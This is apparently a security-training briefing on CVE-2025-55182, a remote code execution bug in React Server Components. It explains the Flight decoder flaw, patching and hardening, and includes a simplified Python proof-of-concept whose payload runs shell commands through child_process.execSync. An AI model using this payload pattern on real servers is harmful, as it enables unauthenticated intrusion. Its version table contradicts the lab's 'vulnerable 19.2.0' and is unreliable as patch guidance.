Advanced

Breaking! React & Next.js Hit by CVSS 10.0 Bug

Every so often, a vulnerability drops that cuts through the noise — not because of the hype, but because it touches a large part of the modern web stack. CVE-2025-55182 is one of those.

CVE-2025-55182 — Unauthenticated Remote Code Execution in React Server Components
CVSS Score: 10.0 (Critical)


Table of Contents


Module 1: Remote Code Execution in React Server Components — CVE-2025-55182

1.1 Overview

Every so often, a vulnerability drops that cuts through the noise — not because of the hype, but because it touches a large part of the modern web stack. CVE-2025-55182 is one of those.

This is an emerging, critical-severity issue in the React Server Components (RSC) ecosystem. Teams worldwide are rushing to understand what it means for them, what is at risk, and how fast they need to move.

The bottom line: This bug lets an attacker send a specially crafted payload to a vulnerable server and get it to execute arbitrary code — without any authentication or prior access. If the server is exposed and running a vulnerable version, it is open to remote exploitation.

CVE ID     : CVE-2025-55182
CVSS Score : 10.0 (Critical)
Type       : Unauthenticated Remote Code Execution (RCE)
Component  : React Server Components — Flight decoder
Introduced : React 19.x (specific builds)

1.2 React Server Components and the Flight Protocol

React Server Components (RSC) extend React’s rendering model to the server. Server Components run exclusively on the server and stream their output to the client through an internal protocol called Flight.

Flight is React’s wire protocol for moving structured data — component trees, function references, serialized props — from the server back to the client. It is designed to be efficient and rich in structure, which is exactly what makes it a meaningful attack surface.

sequenceDiagram
    participant Browser as Browser (Client)
    participant Next as Next.js App Router
    participant RSC as React Server Layer
    participant Flight as Flight Encoder/Decoder
    participant Node as Node.js Process

    Browser->>Next: HTTP Request (page or server action)
    Next->>RSC: Route to Server Component
    RSC->>Flight: Encode component tree + function refs
    Flight-->>Browser: Streamed Flight payload (text/x-component)
    Browser->>Next: POST /formAction (Server Action call)
    Next->>Flight: Decode incoming Flight payload
    Flight->>RSC: Resolve function reference
    RSC->>Node: Execute server-side function
    Node-->>Browser: Result / Response

When a client invokes a Server Action, the browser sends a multi-part POST request back to the server. The server’s Flight decoder unpacks that request and resolves the function reference described in the payload — this is where CVE-2025-55182 sits.


1.3 The Vulnerability: How the Flight Decoder Is Exploited

The core problem is insufficient trust validation inside the Flight-decoding path.

When the server unpacks an incoming Flight payload, it trusts part of the incoming data more than it should. With the right crafted payload, an attacker can nudge the decoder into treating what should be harmless metadata as something the server should actually execute.

In practical terms, a request hitting a React Server function endpoint can carry a crafted payload that ends up giving the attacker Remote Code Execution.

flowchart TD
    A["Attacker sends crafted\nPOST request"] --> B["Next.js / RSC\nreceives request on\n/formAction endpoint"]
    B --> C["Flight Decoder\ndeserializes payload"]
    C --> D{"Validate function\nreference (id)?"}
    D -- "VULNERABLE:\nNo validation" --> E["Resolve id via\nprototype chain"]
    E --> F["id points to\nvm.runInThisContext\nor similar internal"]
    F --> G["Attacker-controlled\nboundary value\npassed as code"]
    G --> H["child_process.execSync\nexecutes system command"]
    H --> I["RCE achieved\non host"]
    D -- "PATCHED:\nValidation blocks\nprototype chain" --> J["Error returned\nto client"]

Key fields in the exploit payload:

The RSC protocol uses two fields to describe a Server Action call:

FieldNormal UseIn the Exploit
idReference to the legitimate server function to callPoints at an internal Node.js method (e.g., vm.runInThisContext) reachable via prototype-chain traversal
boundJSON array of serialized argumentsContains attacker-controlled code or shell command

By controlling both id and bound, the attacker sets the reference to a server-side function that can evaluate code, then sets the bound value to their own code. The decoder on the server trusts that id and those bound values, and instead of treating them as untrusted metadata from the client, it walks through the reference and ends up running what was supplied.


1.4 Live Exploitation Demo

Lab Environment Setup

The demo uses a deliberately vulnerable React server running in Docker:

Base image : node:18-slim (Debian Slim)
Run mode   : root (default, no privilege drop)
React ver  : 19.2.0 (vulnerable)
# Spin up the vulnerable lab container
docker run --rm -p 3000:3000 vulnerable-react-19.2.0

The exploitation tool is a specialized HTTP client written in Python. It takes a target_url and endpoint, then builds exactly the kind of request a React Server function endpoint expects: a multi-part form with the same fields a normal Server Action would send — but with the safe data swapped for the exploit payload.

# Conceptual structure of the PoC (simplified, not a working exploit)
import requests

TARGET_URL  = "http://target:3000"
ENDPOINT    = "/formAction"

def build_rsc_payload(mode: str, command: str = "") -> dict:
    """
    Build a multi-part form mimicking a React Server Action call.
    In 'check' mode, sends a prototype-chain probe to detect the bug.
    In 'command' mode, wraps a system command in a JS expression
    and drops it into the 'bound' array.
    """
    if mode == "check":
        # Sends a harmless prototype-chain probe
        # Patched servers return an error; unpatched servers process it
        id_ref = "__proto__.constructor"
        bound  = ["detection_probe"]
    elif mode == "command":
        id_ref = "vm.runInThisContext"  # internal Node.js method
        # The bound value is a JS expression calling child_process.execSync
        bound  = [f"require('child_process').execSync('{command}').toString()"]

    return {
        "1": json.dumps({"id": id_ref, "bound": json.dumps(bound)})
    }

def exploit(mode: str, command: str = ""):
    payload = build_rsc_payload(mode, command)
    response = requests.post(f"{TARGET_URL}{ENDPOINT}", data=payload)
    return response.text

Step 1 — Vulnerability Check Mode

Before attempting execution, the script runs in check mode: it sends a harmless payload that tries to reach a method via the prototype chain — exactly the pattern the patch is supposed to block.

  • On a patched server: The server throws an error. The script reports the target is not vulnerable.
  • On an unpatched server (React 19.2.0): The payload goes through. The script reports the target is vulnerable.
[*] Target: http://localhost:3000/formAction
[*] Mode:   check
[+] Target is VULNERABLE (prototype chain traversal succeeded)

Step 2 — Remote Code Execution via whoami

Once vulnerability is confirmed, switching to command mode uses the exact same script and endpoint, but this time passes a system command. Starting with whoami to keep it simple:

[*] Target: http://localhost:3000/formAction
[*] Mode:   command
[*] CMD:    whoami
[+] Response: root

What happens on the server:

  1. The POST request arrives at /formAction
  2. The Flight decoder deserializes the payload
  3. The decoder reads the id field and resolves it to vm.runInThisContext via the prototype chain
  4. vm.runInThisContext receives the attacker’s JS string from bound
  5. That JS string calls child_process.execSync('whoami')
  6. The output (root) is returned in the HTTP response
sequenceDiagram
    participant Attacker
    participant Server as Vulnerable React Server\n(React 19.2.0, Node 18, root)
    participant Node as Node.js Process

    Attacker->>Server: POST /formAction\n{id: "vm.runInThisContext",\n bound: ["require('child_process').execSync('whoami').toString()"]}
    Server->>Server: Flight decoder unpacks payload
    Server->>Server: Resolves id via prototype chain
    Server->>Node: vm.runInThisContext(attacker_code)
    Node->>Node: child_process.execSync('whoami')
    Node-->>Server: "root"
    Server-->>Attacker: HTTP 200 — "root"

Key takeaway: From the network perspective, this is just a normal-looking POST request to a standard-looking endpoint. There is no authentication, no prior access required. The entire exploit lives inside the payload of a single HTTP request.


1.5 Affected Versions

The vulnerability lives in the Flight decoder code, which is part of the react-server package.

Vulnerable React versions:

VersionStatus
19.0.1Vulnerable
19.1.2Vulnerable
19.2.1Vulnerable
Earlier (< 19.x)Not affected (RSC not present)

Many teams do not pull React in directly — they pull it through frameworks. Any framework that bundles RSC support can bring in the affected code even if you never touch React yourself.

Commonly affected configurations:

Next.js (App Router)  — pulls react-server internally
                        App Router is built on RSC

Custom RSC setups     — any bundler/framework with explicit
                        react-server peer dependency

Vite + RSC plugins    — depends on which version of react-server
                        the plugin bundles
# Check your installed React version
npm list react react-server
# or
cat package-lock.json | grep '"react"' | head -5

# Check Next.js version (which bundles React Server internals)
npm list next

1.6 Impact Assessment

If an attacker can reach a vulnerable endpoint, they can run code on the server in the context of your application. That means they can do anything the server process can do:

mindmap
  root((RCE Impact))
    Data
      Read application data
      Exfiltrate secrets and env vars
      Modify or delete data in databases
    Lateral Movement
      Pivot to other internal services
      Exploit cloud metadata endpoints
      Access internal APIs not exposed externally
    Persistence
      Drop reverse shells
      Install backdoors or cron jobs
      Modify deployed application code
    Escalation
      Depends on container/process privileges
      Running as root amplifies everything
      Cloud role permissions matter

The breadth of damage is ultimately a question of how well the surrounding environment is segmented and monitored — because once the exploit lands, the attacker has a reliable foothold inside your environment.


1.7 Real-World Risk Context

The CVSS 10.0 score is accurate for the technical severity, but the real-world blast radius depends on how your application and network are put together.

High blast radius (worse case):

  • Server running as root
  • Container with broad filesystem access
  • Direct access to internal databases or secrets
  • Cloud metadata endpoint reachable (169.254.169.254)
  • No network segmentation between the React server and internal services

Reduced blast radius (better case):

  • Application runs as a non-root user
  • Filesystem is locked down (read-only where possible)
  • Network egress is restricted (server only talks to what it genuinely needs)
  • Secrets are scoped tightly (least privilege IAM roles)
  • Containers are segmented at the network level
flowchart LR
    subgraph Worse["Higher Risk Environment"]
        A1["React Server\n(root, wide access)"] --> B1["Database\n(full access)"]
        A1 --> C1["Cloud Metadata\n(IAM credentials)"]
        A1 --> D1["Internal APIs\n(no auth needed)"]
    end

    subgraph Better["Hardened Environment"]
        A2["React Server\n(non-root, least-priv)"] -->|"Allowed port only"| B2["Database\n(scoped credentials)"]
        A2 -. blocked .-> C2["Cloud Metadata"]
        A2 -. blocked .-> D2["Internal APIs\n(require auth)"]
    end

Practical rule of thumb: The server’s in a tight segment, it only talks to the few services it genuinely needs — then an attacker doesn’t have many options. If it has broad access to internal systems or sensitive data, things can escalate very quickly.

This is an important vulnerability, but not necessarily an incident crisis once you know your versions and understand how the server fits into the rest of the environment.


1.8 Immediate Response Steps

A clear, actionable response follows a small number of steps:

flowchart TD
    S1["Step 1: Confirm exposure\nAm I running a vulnerable version?"] --> S2
    S2["Step 2: Apply patch\nUpgrade React / framework"] --> S3
    S3["Step 3: Validate the patch\nRe-test with check mode"] --> S4
    S4["Step 4: Review environment\nWhere does this server sit?"] --> S5
    S5["Step 5: Tighten segmentation\nif needed"] --> S6
    S6["Step 6: Communicate\nEngineering, product, deployment teams"]

Step 1 — Confirm whether you are in scope

# Check React version
npm list react
# Example vulnerable output: react@19.2.1

# Check if a framework bundles the vulnerable react-server
npm list react-server
# Also check next.js bundled version if using App Router
npm list next

Step 2 — Apply patches

The React team has pushed fixes. Most major frameworks are publishing updated builds as well.

# Update React (check official changelog for patched version)
npm install react@latest react-dom@latest

# If using Next.js App Router, update Next.js
npm install next@latest

# Run audit to confirm no remaining known vulnerabilities
npm audit

Step 3 — Validate the patch

On a patched server, the prototype-chain probe used in the PoC should return an error, not a successful response. Re-testing with the check-mode script (or equivalent) confirms the fix is in place.

Step 4 — Review your environment posture

# Check if Node process runs as root inside your container
docker exec <container_id> whoami
# If "root" — consider adding a non-root user to your Dockerfile

# Check network exposure
# Does your RSC endpoint need to be publicly accessible?
# Can you put it behind authentication middleware?

Step 5 — Tighten segmentation if needed

If the server has broad network access, this is the right moment to tighten it:

  • Run the application as a non-root user in Docker
  • Lock down the filesystem (read-only mounts where possible)
  • Restrict outbound network access to only required services
  • Audit what secrets the server can see (environment variables, cloud roles)
# Example: non-root user in Dockerfile
FROM node:18-slim
# ... app setup ...
RUN addgroup --system appgroup && adduser --system --ingroup appgroup appuser
USER appuser
EXPOSE 3000
CMD ["node", "server.js"]

Step 6 — Communicate

Make sure engineering teams, product owners, and anyone responsible for deployment knows what is happening and why it matters. These situations tend to move quickly, and clarity keeps everyone aligned.


1.9 Broader Lessons for Security Leaders

Lesson 1: Hidden dependencies in shared tooling

Modern applications are built on layers of shared tooling and frameworks. You do not need to be doing anything unusual for a vulnerability like this to land in your environment — it is enough just to be using a popular framework in a normal way. The React ecosystem is used by millions of applications; a single bug in a core package creates enormous exposure across the industry simultaneously.

Lesson 2: Pace of response

These situations move quickly. Security leaders who already have strong relationships with their engineering teams respond much better. When communication is clear and people trust each other, patching and validation become routine work rather than a last-minute scramble.

quadrantChart
    title Response Readiness vs. Response Quality
    x-axis "Weak Eng. Relationship" --> "Strong Eng. Relationship"
    y-axis "Slow Response" --> "Fast Response"
    quadrant-1 Best Outcome
    quadrant-2 Fast but Noisy
    quadrant-3 Worst Outcome
    quadrant-4 Slow but Thorough
    "Team A: Clear comms, trusted process": [0.85, 0.90]
    "Team B: Good tech, weak comms": [0.30, 0.75]
    "Team C: No prior relationship": [0.15, 0.20]
    "Team D: Siloed security team": [0.20, 0.55]

Lesson 3: Resilience is built before the incident

Issues like CVE-2025-55182 are reminders that even well-maintained stacks can produce surprises. The organizations that cope best are the ones that have already invested in:

  • Containment — minimal blast radius through least-privilege and segmentation
  • Clarity — known dependency graphs, accurate SBOM, fast patch pipelines
  • Rehearsal — incident response playbooks tested before a real event

These properties pay dividends not just for this CVE but for every future vulnerability that lands in a shared dependency.


1.10 Summary

TopicKey Point
VulnerabilityCVE-2025-55182, unauthenticated RCE in React Server Components
Root causeFlight decoder trusts attacker-controlled id and bound fields, enabling prototype-chain traversal to internal Node.js execution primitives
CVSS10.0 Critical
Authentication requiredNone — single unauthenticated HTTP POST
Affected versionsReact 19.0.1, 19.1.2, 19.2.1 and any framework bundling these
Commonly impactedNext.js App Router applications
Blast radiusDepends on environment: process privileges, network segmentation, secret scoping
FixUpgrade React and/or your framework to patched releases
Post-patch actionValidate fix, review environment posture, tighten segmentation, communicate
Strategic lessonHidden transitive dependencies, strong eng. relationships, and pre-built resilience determine how well teams respond

Stay frosty. Even well-maintained, modern application stacks carry hidden risk in shared dependencies. The right response is fast patching, clear communication, and a hardened runtime environment — not panic.


This document is based on a technical analysis of CVE-2025-55182. Always verify vulnerability status and patch availability against official React and framework release notes before acting.


Search Terms

next.js · breaking · react · hit · cvss · 10.0 · bug · vulnerability · briefings · networking · systems · security · components · execution · flight · remote · server

More Vulnerability Briefings courses

View all 30

Interested in this course?

Contact us to book it or get a custom training plan for your team.